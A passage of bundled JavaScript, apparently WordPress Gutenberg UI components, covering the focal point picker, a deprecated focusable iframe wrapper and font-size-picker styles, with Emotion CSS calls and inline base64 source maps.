sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFrSTJDIiwiZmlsZSI6ImZvY2FsLXBvaW50LXBpY2tlci1zdHlsZS50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGNzcyB9IGZyb20gJ0BlbW90aW9uL3JlYWN0JztcbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgRmxleCB9IGZyb20gJy4uLy4uL2ZsZXgnO1xuaW1wb3J0IFVuaXRDb250cm9sIGZyb20gJy4uLy4uL3VuaXQtY29udHJvbCc7XG5pbXBvcnQgeyBWaWV3IH0gZnJvbSAnLi4vLi4vdmlldyc7XG5pbXBvcnQgeyBDT0xPUlMsIENPTkZJRywgYm94U2l6aW5nUmVzZXQsIGZvbnQgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgdHlwZSB7IEZvY2FsUG9pbnRQaWNrZXJDb250cm9sc1Byb3BzIH0gZnJvbSAnLi4vdHlwZXMnO1xuaW1wb3J0IHsgSU5JVElBTF9CT1VORFMgfSBmcm9tICcuLi91dGlscyc7XG5cbmV4cG9ydCBjb25zdCBDb250YWluZXIgPSBzdHlsZWQoIFZpZXcgKWBcblx0Ym9yZGVyOiAwO1xuXHRwYWRkaW5nOiAwO1xuXHRtYXJnaW46IDA7XG5cdGZvbnQtZmFtaWx5OiAkeyBmb250KCAnZGVmYXVsdC5mb250RmFtaWx5JyApIH07XG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0JHsgYm94U2l6aW5nUmVzZXQgfVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhV3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRkaXNwbGF5OiBmbGV4O1xuXHR0ZXh0LWFsaWduOiBjZW50ZXI7XG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhQ29udGFpbmVyID0gc3R5bGVkLmRpdmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGN1cnNvcjogcG9pbnRlcjtcblx0ZGlzcGxheTogaW5saW5lLWZsZXg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW46IGF1dG87XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0aGVpZ2h0OiAxMDAlO1xuXG5cdCY6YWZ0ZXIge1xuXHRcdGJvcmRlci1yYWRpdXM6IGluaGVyaXQ7XG5cdFx0Ym90dG9tOiAwO1xuXHRcdGJveC1zaGFkb3c6IGluc2V0IDAgMCAwIDFweCByZ2JhKCAwLCAwLCAwLCAwLjEgKTtcblx0XHRjb250ZW50OiAnJztcblx0XHRsZWZ0OiAwO1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRyaWdodDogMDtcblx0XHR0b3A6IDA7XG5cdH1cblxuXHRpbWcsXG5cdHZpZGVvIHtcblx0XHRib3JkZXItcmFkaXVzOiBpbmhlcml0O1xuXHRcdGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0aGVpZ2h0OiBhdXRvO1xuXHRcdG1hcmdpbjogMDtcblx0XHRtYXgtaGVpZ2h0OiAxMDAlO1xuXHRcdG1heC13aWR0aDogMTAwJTtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHR1c2VyLXNlbGVjdDogbm9uZTtcblx0XHR3aWR0aDogMTAwJTtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IE1lZGlhUGxhY2Vob2xkZXIgPSBzdHlsZWQuZGl2YFxuXHRiYWNrZ3JvdW5kOiAkeyBDT0xPUlMuZ3JheVsgMTAwIF0gfTtcblx0Ym9yZGVyLXJhZGl1czogaW5oZXJpdDtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0aGVpZ2h0OiAkeyBJTklUSUFMX0JPVU5EUy5oZWlnaHQgfXB4O1xuXHRtYXgtd2lkdGg6IDI4MHB4O1xuXHRtaW4td2lkdGg6ICR7IElOSVRJQUxfQk9VTkRTLndpZHRoIH1weDtcblx0d2lkdGg6IDEwMCU7XG5gO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkVW5pdENvbnRyb2wgPSBzdHlsZWQoIFVuaXRDb250cm9sIClgXG5cdHdpZHRoOiAxMDAlO1xuYDtcblxuY29uc3QgZXh0cmFIZWxwVGV4dE1hcmdpbiA9ICgge1xuXHRoYXNIZWxwVGV4dCA9IGZhbHNlLFxufTogRm9jYWxQb2ludFBpY2tlckNvbnRyb2xzUHJvcHMgKSA9PiB7XG5cdHJldHVybiBoYXNIZWxwVGV4dFxuXHRcdD8gY3NzYFxuXHRcdFx0XHRwYWRkaW5nLWJvdHRvbTogMWVtO1xuXHRcdCAgYFxuXHRcdDogdW5kZWZpbmVkO1xufTtcblxuZXhwb3J0IGNvbnN0IENvbnRyb2xXcmFwcGVyID0gc3R5bGVkKCBGbGV4IClgXG5cdG1heC13aWR0aDogMzIwcHg7XG5cdHBhZGRpbmctdG9wOiAxZW07XG5cblx0JHsgZXh0cmFIZWxwVGV4dE1hcmdpbiB9XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZFZpZXcgPSBzdHlsZWQuZGl2YFxuXHRsZWZ0OiA1MCU7XG5cdG92ZXJmbG93OiBoaWRkZW47XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogNTAlO1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZTNkKCAtNTAlLCAtNTAlLCAwICk7XG5cdHotaW5kZXg6IDE7XG5cblx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0dHJhbnNpdGlvbjogb3BhY2l0eSAxMDBtcyBsaW5lYXI7XG5cdH1cblxuXHRvcGFjaXR5OiAkeyAoIHsgc2hvd092ZXJsYXkgfTogeyBzaG93T3ZlcmxheT86IGJvb2xlYW4gfSApID0+XG5cdFx0c2hvd092ZXJsYXkgPyAxIDogMCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lID0gc3R5bGVkLmRpdmBcblx0YmFja2dyb3VuZDogcmdiYSggMjU1LCAyNTUsIDI1NSwgMC40ICk7XG5cdGJhY2tkcm9wLWZpbHRlcjogYmx1ciggMTZweCApIHNhdHVyYXRlKCAxODAlICk7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dHJhbnNmb3JtOiB0cmFuc2xhdGVaKCAwICk7XG5gO1xuXG5leHBvcnQgY29uc3QgR3JpZExpbmVYID0gc3R5bGVkKCBHcmlkTGluZSApYFxuXHRoZWlnaHQ6IDFweDtcblx0bGVmdDogMXB4O1xuXHRyaWdodDogMXB4O1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyaWRMaW5lWSA9IHN0eWxlZCggR3JpZExpbmUgKWBcblx0d2lkdGg6IDFweDtcblx0dG9wOiAxcHg7XG5cdGJvdHRvbTogMXB4O1xuYDtcbiJdfQ== */",
41578 toString: _EMOTION_STRINGIFIED_CSS_ERROR__32
41579 });
41580
41581 // packages/components/build-module/focal-point-picker/controls.mjs
41582 var import_jsx_runtime207 = __toESM(require_jsx_runtime(), 1);
41583 var TEXTCONTROL_MIN = 0;
41584 var TEXTCONTROL_MAX = 100;
41585 var noop13 = () => {
41586 };
41587 function FocalPointPickerControls({
41588 hasHelpText,
41589 onChange = noop13,
41590 point = {
41591 x: 0.5,
41592 y: 0.5
41593 }
41594 }) {
41595 const valueX = fractionToPercentage(point.x);
41596 const valueY = fractionToPercentage(point.y);
41597 const handleChange = (value, axis) => {
41598 if (value === void 0) {
41599 return;
41600 }
41601 const num = parseInt(value, 10);
41602 if (!isNaN(num)) {
41603 onChange({
41604 ...point,
41605 [axis]: num / 100
41606 });
41607 }
41608 };
41609 return /* @__PURE__ */ (0, import_jsx_runtime207.jsxs)(ControlWrapper, {
41610 className: "focal-point-picker__controls",
41611 hasHelpText,
41612 gap: 4,
41613 children: [/* @__PURE__ */ (0, import_jsx_runtime207.jsx)(FocalPointUnitControl, {
41614 label: (0, import_i18n50.__)("Left"),
41615 "aria-label": (0, import_i18n50.__)("Focal point left position"),
41616 value: [valueX, "%"].join(""),
41617 onChange: (next2) => handleChange(next2, "x"),
41618 dragDirection: "e"
41619 }), /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(FocalPointUnitControl, {
41620 label: (0, import_i18n50.__)("Top"),
41621 "aria-label": (0, import_i18n50.__)("Focal point top position"),
41622 value: [valueY, "%"].join(""),
41623 onChange: (next2) => handleChange(next2, "y"),
41624 dragDirection: "s"
41625 })]
41626 });
41627 }
41628 function FocalPointUnitControl(props) {
41629 return /* @__PURE__ */ (0, import_jsx_runtime207.jsx)(StyledUnitControl2, {
41630 __next40pxDefaultSize: true,
41631 className: "focal-point-picker__controls-position-unit-control",
41632 labelPosition: "top",
41633 max: TEXTCONTROL_MAX,
41634 min: TEXTCONTROL_MIN,
41635 units: [{
41636 value: "%",
41637 label: "%"
41638 }],
41639 ...props
41640 });
41641 }
41642
41643 // packages/components/build-module/focal-point-picker/styles/focal-point-style.mjs
41644 var PointerCircle = /* @__PURE__ */ createStyled("div", false ? {
41645 target: "e19snlhg0"
41646 } : {
41647 target: "e19snlhg0",
41648 label: "PointerCircle"
41649 })("background-color:transparent;cursor:grab;height:40px;margin:-20px 0 0 -20px;position:absolute;user-select:none;width:40px;will-change:transform;z-index:10000;background:rgba( 255, 255, 255, 0.4 );border:1px solid rgba( 255, 255, 255, 0.4 );border-radius:", config_values_default.radiusRound, ";backdrop-filter:blur( 16px ) saturate( 180% );box-shadow:rgb( 0 0 0 / 10% ) 0px 0px 8px;@media not ( prefers-reduced-motion ){transition:transform 100ms linear;}", ({
41650 isDragging: isDragging2
41651 }) => isDragging2 && `
41652 box-shadow: rgb( 0 0 0 / 12% ) 0px 0px 10px;
41653 transform: scale( 1.1 );
41654 cursor: grabbing;
41655 `, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImZvY2FsLXBvaW50LXN0eWxlLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQVV1QyIsImZpbGUiOiJmb2NhbC1wb2ludC1zdHlsZS50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHsgQ09ORklHIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuXG5leHBvcnQgY29uc3QgUG9pbnRlckNpcmNsZSA9IHN0eWxlZC5kaXZgXG5cdGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuXHRjdXJzb3I6IGdyYWI7XG5cdGhlaWdodDogNDBweDtcblx0bWFyZ2luOiAtMjBweCAwIDAgLTIwcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiA0MHB4O1xuXHR3aWxsLWNoYW5nZTogdHJhbnNmb3JtO1xuXHR6LWluZGV4OiAxMDAwMDtcblx0YmFja2dyb3VuZDogcmdiYSggMjU1LCAyNTUsIDI1NSwgMC40ICk7XG5cdGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoIDI1NSwgMjU1LCAyNTUsIDAuNCApO1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzUm91bmQgfTtcblx0YmFja2Ryb3AtZmlsdGVyOiBibHVyKCAxNnB4ICkgc2F0dXJhdGUoIDE4MCUgKTtcblx0Ym94LXNoYWRvdzogcmdiKCAwIDAgMCAvIDEwJSApIDBweCAwcHggOHB4O1xuXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb246IHRyYW5zZm9ybSAxMDBtcyBsaW5lYXI7XG5cdH1cblxuXHQkeyAoIHsgaXNEcmFnZ2luZyB9OiB7IGlzRHJhZ2dpbmc6IGJvb2xlYW4gfSApID0+XG5cdFx0aXNEcmFnZ2luZyAmJlxuXHRcdGBcblx0XHRcdGJveC1zaGFkb3c6IHJnYiggMCAwIDAgLyAxMiUgKSAwcHggMHB4IDEwcHg7XG5cdFx0XHR0cmFuc2Zvcm06IHNjYWxlKCAxLjEgKTtcblx0XHRcdGN1cnNvcjogZ3JhYmJpbmc7XG5cdFx0XHRgIH1cbmA7XG4iXX0= */"));
41656
41657 // packages/components/build-module/focal-point-picker/focal-point.mjs
41658 var import_jsx_runtime208 = __toESM(require_jsx_runtime(), 1);
41659 function FocalPoint({
41660 left = "50%",
41661 top = "50%",
41662 ...props
41663 }) {
41664 const style2 = {
41665 left,
41666 top
41667 };
41668 return /* @__PURE__ */ (0, import_jsx_runtime208.jsx)(PointerCircle, {
41669 ...props,
41670 className: "components-focal-point-picker__icon_container",
41671 style: style2
41672 });
41673 }
41674
41675 // packages/components/build-module/focal-point-picker/grid.mjs
41676 var import_jsx_runtime209 = __toESM(require_jsx_runtime(), 1);
41677 function FocalPointPickerGrid({
41678 bounds,
41679 ...props
41680 }) {
41681 return /* @__PURE__ */ (0, import_jsx_runtime209.jsxs)(GridView, {
41682 ...props,
41683 className: "components-focal-point-picker__grid",
41684 style: {
41685 width: bounds.width,
41686 height: bounds.height
41687 },
41688 children: [/* @__PURE__ */ (0, import_jsx_runtime209.jsx)(GridLineX, {
41689 style: {
41690 top: "33%"
41691 }
41692 }), /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(GridLineX, {
41693 style: {
41694 top: "66%"
41695 }
41696 }), /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(GridLineY, {
41697 style: {
41698 left: "33%"
41699 }
41700 }), /* @__PURE__ */ (0, import_jsx_runtime209.jsx)(GridLineY, {
41701 style: {
41702 left: "66%"
41703 }
41704 })]
41705 });
41706 }
41707
41708 // packages/components/build-module/focal-point-picker/media.mjs
41709 var import_jsx_runtime210 = __toESM(require_jsx_runtime(), 1);
41710 function Media2({
41711 alt,
41712 autoPlay,
41713 src,
41714 onLoad,
41715 mediaRef,
41716 // Exposing muted prop for test rendering purposes
41717 // https://github.com/testing-library/react-testing-library/issues/470
41718 muted: muted2 = true,
41719 ...props
41720 }) {
41721 if (!src) {
41722 return /* @__PURE__ */ (0, import_jsx_runtime210.jsx)(MediaPlaceholder, {
41723 className: "components-focal-point-picker__media components-focal-point-picker__media--placeholder",
41724 ref: mediaRef,
41725 ...props
41726 });
41727 }
41728 const isVideo = isVideoType(src);
41729 return isVideo ? /* @__PURE__ */ (0, import_jsx_runtime210.jsx)("video", {
41730 ...props,
41731 autoPlay,
41732 className: "components-focal-point-picker__media components-focal-point-picker__media--video",
41733 loop: true,
41734 muted: muted2,
41735 onLoadedData: onLoad,
41736 ref: mediaRef,
41737 src
41738 }) : /* @__PURE__ */ (0, import_jsx_runtime210.jsx)("img", {
41739 ...props,
41740 alt,
41741 className: "components-focal-point-picker__media components-focal-point-picker__media--image",
41742 onLoad,
41743 ref: mediaRef,
41744 src
41745 });
41746 }
41747
41748 // packages/components/build-module/focal-point-picker/index.mjs
41749 var import_jsx_runtime211 = __toESM(require_jsx_runtime(), 1);
41750 var GRID_OVERLAY_TIMEOUT = 600;
41751 function FocalPointPicker({
41752 // Prevent passing to internal component.
41753 __nextHasNoMarginBottom: _2,
41754 autoPlay = true,
41755 className: className2,
41756 help,
41757 hideLabelFromVision,
41758 label,
41759 onChange,
41760 onDrag,
41761 onDragEnd,
41762 onDragStart,
41763 resolvePoint,
41764 url,
41765 value: valueProp = {
41766 x: 0.5,
41767 y: 0.5
41768 },
41769 ...restProps
41770 }) {
41771 const [point, setPoint] = (0, import_element139.useState)(valueProp);
41772 const [showGridOverlay, setShowGridOverlay] = (0, import_element139.useState)(false);
41773 const {
41774 startDrag,
41775 endDrag,
41776 isDragging: isDragging2
41777 } = (0, import_compose54.__experimentalUseDragging)({
41778 onDragStart: (event) => {
41779 dragAreaRef.current?.focus();
41780 const value = getValueWithinDragArea(event);
41781 if (!value) {
41782 return;
41783 }
41784 onDragStart?.(value, event);
41785 setPoint(value);
41786 },
41787 onDragMove: (event) => {
41788 event.preventDefault();
41789 const value = getValueWithinDragArea(event);
41790 if (!value) {
41791 return;
41792 }
41793 onDrag?.(value, event);
41794 setPoint(value);
41795 },
41796 onDragEnd: () => {
41797 onDragEnd?.();
41798 onChange?.(point);
41799 }
41800 });
41801 const {
41802 x: x2,
41803 y: y3
41804 } = isDragging2 ? point : valueProp;
41805 const dragAreaRef = (0, import_element139.useRef)(null);
41806 const [bounds, setBounds] = (0, import_element139.useState)(INITIAL_BOUNDS);
41807 const refUpdateBounds = (0, import_element139.useRef)(() => {
41808 if (!dragAreaRef.current) {
41809 return;
41810 }
41811 const {
41812 clientWidth: width,
41813 clientHeight: height
41814 } = dragAreaRef.current;
41815 setBounds(width > 0 && height > 0 ? {
41816 width,
41817 height
41818 } : {
41819 ...INITIAL_BOUNDS
41820 });
41821 });
41822 (0, import_element139.useEffect)(() => {
41823 const updateBounds = refUpdateBounds.current;
41824 if (!dragAreaRef.current) {
41825 return;
41826 }
41827 const {
41828 defaultView
41829 } = dragAreaRef.current.ownerDocument;
41830 defaultView?.addEventListener("resize", updateBounds);
41831 return () => defaultView?.removeEventListener("resize", updateBounds);
41832 }, []);
41833 (0, import_compose54.useIsomorphicLayoutEffect)(() => void refUpdateBounds.current(), []);
41834 const getValueWithinDragArea = ({
41835 clientX,
41836 clientY,
41837 shiftKey
41838 }) => {
41839 if (!dragAreaRef.current) {
41840 return;
41841 }
41842 const {
41843 top,
41844 left
41845 } = dragAreaRef.current.getBoundingClientRect();
41846 let nextX = (clientX - left) / bounds.width;
41847 let nextY = (clientY - top) / bounds.height;
41848 if (shiftKey) {
41849 nextX = Math.round(nextX / 0.1) * 0.1;
41850 nextY = Math.round(nextY / 0.1) * 0.1;
41851 }
41852 return getFinalValue({
41853 x: nextX,
41854 y: nextY
41855 });
41856 };
41857 const getFinalValue = (value) => {
41858 const resolvedValue = resolvePoint?.(value) ?? value;
41859 resolvedValue.x = Math.max(0, Math.min(resolvedValue.x, 1));
41860 resolvedValue.y = Math.max(0, Math.min(resolvedValue.y, 1));
41861 const roundToTwoDecimalPlaces = (n3) => Math.round(n3 * 100) / 100;
41862 return {
41863 x: roundToTwoDecimalPlaces(resolvedValue.x),
41864 y: roundToTwoDecimalPlaces(resolvedValue.y)
41865 };
41866 };
41867 const arrowKeyStep = (event) => {
41868 const {
41869 code,
41870 shiftKey
41871 } = event;
41872 if (!["ArrowUp", "ArrowDown", "ArrowLeft", "ArrowRight"].includes(code)) {
41873 return;
41874 }
41875 event.preventDefault();
41876 const value = {
41877 x: x2,
41878 y: y3
41879 };
41880 const step = shiftKey ? 0.1 : 0.01;
41881 const delta = code === "ArrowUp" || code === "ArrowLeft" ? -1 * step : step;
41882 const axis = code === "ArrowUp" || code === "ArrowDown" ? "y" : "x";
41883 value[axis] = value[axis] + delta;
41884 onChange?.(getFinalValue(value));
41885 };
41886 const focalPointPosition = {
41887 left: x2 !== void 0 ? x2 * bounds.width : 0.5 * bounds.width,
41888 top: y3 !== void 0 ? y3 * bounds.height : 0.5 * bounds.height
41889 };
41890 const classes = clsx_default("components-focal-point-picker-control", className2);
41891 const Label4 = hideLabelFromVision ? component_default2 : StyledLabel;
41892 use_update_effect_default(() => {
41893 setShowGridOverlay(true);
41894 const timeout = window.setTimeout(() => {
41895 setShowGridOverlay(false);
41896 }, GRID_OVERLAY_TIMEOUT);
41897 return () => window.clearTimeout(timeout);
41898 }, [x2, y3]);
41899 return /* @__PURE__ */ (0, import_jsx_runtime211.jsxs)(Container2, {
41900 ...restProps,
41901 as: "fieldset",
41902 className: classes,
41903 children: [!!label && /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(Label4, {
41904 as: "legend",
41905 children: label
41906 }), /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(MediaWrapper, {
41907 className: "components-focal-point-picker-wrapper",
41908 children: /* @__PURE__ */ (0, import_jsx_runtime211.jsxs)(MediaContainer, {
41909 className: "components-focal-point-picker",
41910 onKeyDown: arrowKeyStep,
41911 onMouseDown: startDrag,
41912 onBlur: () => {
41913 if (isDragging2) {
41914 endDrag();
41915 }
41916 },
41917 ref: dragAreaRef,
41918 role: "button",
41919 tabIndex: -1,
41920 children: [/* @__PURE__ */ (0, import_jsx_runtime211.jsx)(FocalPointPickerGrid, {
41921 bounds,
41922 showOverlay: showGridOverlay
41923 }), /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(Media2, {
41924 alt: (0, import_i18n51.__)("Media preview"),
41925 autoPlay,
41926 onLoad: refUpdateBounds.current,
41927 src: url
41928 }), /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(FocalPoint, {
41929 ...focalPointPosition,
41930 isDragging: isDragging2
41931 })]
41932 })
41933 }), /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(FocalPointPickerControls, {
41934 hasHelpText: !!help,
41935 point: {
41936 x: x2,
41937 y: y3
41938 },
41939 onChange: (value) => {
41940 onChange?.(getFinalValue(value));
41941 }
41942 }), !!help && /* @__PURE__ */ (0, import_jsx_runtime211.jsx)(StyledHelp, {
41943 children: help
41944 })]
41945 });
41946 }
41947 var focal_point_picker_default = FocalPointPicker;
41948
41949 // packages/components/build-module/focusable-iframe/index.mjs
41950 var import_compose55 = __toESM(require_compose(), 1);
41951 var import_deprecated16 = __toESM(require_deprecated(), 1);
41952 var import_jsx_runtime212 = __toESM(require_jsx_runtime(), 1);
41953 function FocusableIframe({
41954 iframeRef,
41955 ...props
41956 }) {
41957 const ref = (0, import_compose55.useMergeRefs)([iframeRef, (0, import_compose55.useFocusableIframe)()]);
41958 (0, import_deprecated16.default)("wp.components.FocusableIframe", {
41959 since: "5.9",
41960 alternative: "wp.compose.useFocusableIframe"
41961 });
41962 return /* @__PURE__ */ (0, import_jsx_runtime212.jsx)("iframe", {
41963 ref,
41964 ...props
41965 });
41966 }
41967
41968 // packages/components/build-module/font-size-picker/index.mjs
41969 var import_i18n55 = __toESM(require_i18n(), 1);
41970 var import_element141 = __toESM(require_element(), 1);
41971 var import_compose56 = __toESM(require_compose(), 1);
41972
41973 // packages/components/build-module/font-size-picker/styles.mjs
41974 function _EMOTION_STRINGIFIED_CSS_ERROR__33() {
41975 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
41976 }
41977 var Container3 = /* @__PURE__ */ createStyled("fieldset", false ? {
41978 target: "e8tqeku4"
41979 } : {
41980 target: "e8tqeku4",
41981 label: "Container"
41982 })(false ? {
41983 name: "k2q51s",
41984 styles: "border:0;margin:0;padding:0;display:contents"
41985 } : {
41986 name: "k2q51s",
41987 styles: "border:0;margin:0;padding:0;display:contents/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFjd0MiLCJmaWxlIjoic3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgQmFzZUNvbnRyb2wgZnJvbSAnLi4vYmFzZS1jb250cm9sJztcbmltcG9ydCBCdXR0b24gZnJvbSAnLi4vYnV0dG9uJztcbmltcG9ydCBDdXN0b21TZWxlY3RDb250cm9sIGZyb20gJy4uL2N1c3RvbS1zZWxlY3QtY29udHJvbCc7XG5pbXBvcnQgeyBIU3RhY2sgfSBmcm9tICcuLi9oLXN0YWNrJztcbmltcG9ydCB7IHNwYWNlIH0gZnJvbSAnLi4vdXRpbHMvc3BhY2UnO1xuXG5leHBvcnQgY29uc3QgQ29udGFpbmVyID0gc3R5bGVkLmZpZWxkc2V0YFxuXHRib3JkZXI6IDA7XG5cdG1hcmdpbjogMDtcblx0cGFkZGluZzogMDtcblx0ZGlzcGxheTogY29udGVudHM7XG5gO1xuXG5leHBvcnQgY29uc3QgSGVhZGVyID0gc3R5bGVkKCBIU3RhY2sgKWBcblx0aGVpZ2h0OiAkeyBzcGFjZSggNCApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSGVhZGVyVG9nZ2xlID0gc3R5bGVkKCBCdXR0b24gKWBcblx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIC0xICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBIZWFkZXJMYWJlbCA9IHN0eWxlZCggQmFzZUNvbnRyb2wuVmlzdWFsTGFiZWwgKWBcblx0ZGlzcGxheTogZmxleDtcblx0Z2FwOiAkeyBzcGFjZSggMSApIH07XG5cdGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcblx0bWFyZ2luLWJvdHRvbTogMDtcbmA7XG5cbi8vIEN1c3RvbSBzdHlsZWQgY29tcG9uZW50IHRvIGZvcmNlIGxpbmUgYnJlYWsgYmV0d2VlbiBuYW1lIGFuZCBoaW50IHdoaWxlIGtlZXBpbmcgY2hlY2ttYXJrIG9uIHRoZSByaWdodFxuZXhwb3J0IGNvbnN0IFN0eWxlZEN1c3RvbVNlbGVjdENvbnRyb2wgPSBzdHlsZWQoIEN1c3RvbVNlbGVjdENvbnRyb2wgKWBcblx0LmNvbXBvbmVudHMtY3VzdG9tLXNlbGVjdC1jb250cm9sX19pdGVtXG5cdFx0LmNvbXBvbmVudHMtY3VzdG9tLXNlbGVjdC1jb250cm9sX19pdGVtLWhpbnQge1xuXHRcdHdpZHRoOiAxMDAlO1xuXHR9XG5gO1xuIl19 */",
41988 toString: _EMOTION_STRINGIFIED_CSS_ERROR__33
41989 });
41990 var Header2 = /* @__PURE__ */ createStyled(component_default9, false ? {
41991 target: "e8tqeku3"
41992 } : {
41993 target: "e8tqeku3",
41994 label: "Header"
41995 })("height:", space(4), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFxQnNDIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBzdHlsZWQgZnJvbSAnQGVtb3Rpb24vc3R5bGVkJztcblxuLyoqXG4gKiBJbnRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IEJhc2VDb250cm9sIGZyb20gJy4uL2Jhc2UtY29udHJvbCc7XG5pbXBvcnQgQnV0dG9uIGZyb20gJy4uL2J1dHRvbic7XG5pbXBvcnQgQ3VzdG9tU2VsZWN0Q29udHJvbCBmcm9tICcuLi9jdXN0b20tc2VsZWN0LWNvbnRyb2wnO1xuaW1wb3J0IHsgSFN0YWNrIH0gZnJvbSAnLi4vaC1zdGFjayc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uL3V0aWxzL3NwYWNlJztcblxuZXhwb3J0IGNvbnN0IENvbnRhaW5lciA9IHN0eWxlZC5maWVsZHNldGBcblx0Ym9yZGVyOiAwO1xuXHRtYXJnaW46IDA7XG5cdHBhZGRpbmc6IDA7XG5cdGRpc3BsYXk6IGNvbnRlbnRzO1xuYDtcblxuZXhwb3J0IGNvbnN0IEhlYWRlciA9IHN0eWxlZCggSFN0YWNrIClgXG5cdGhlaWdodDogJHsgc3BhY2UoIDQgKSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEhlYWRlclRvZ2dsZSA9IHN0eWxlZCggQnV0dG9uIClgXG5cdG1hcmdpbi10b3A6ICR7IHNwYWNlKCAtMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSGVhZGVyTGFiZWwgPSBzdHlsZWQoIEJhc2VDb250cm9sLlZpc3VhbExhYmVsIClgXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGdhcDogJHsgc3BhY2UoIDEgKSB9O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XG5cdG1hcmdpbi1ib3R0b206IDA7XG5gO1xuXG4vLyBDdXN0b20gc3R5bGVkIGNvbXBvbmVudCB0byBmb3JjZSBsaW5lIGJyZWFrIGJldHdlZW4g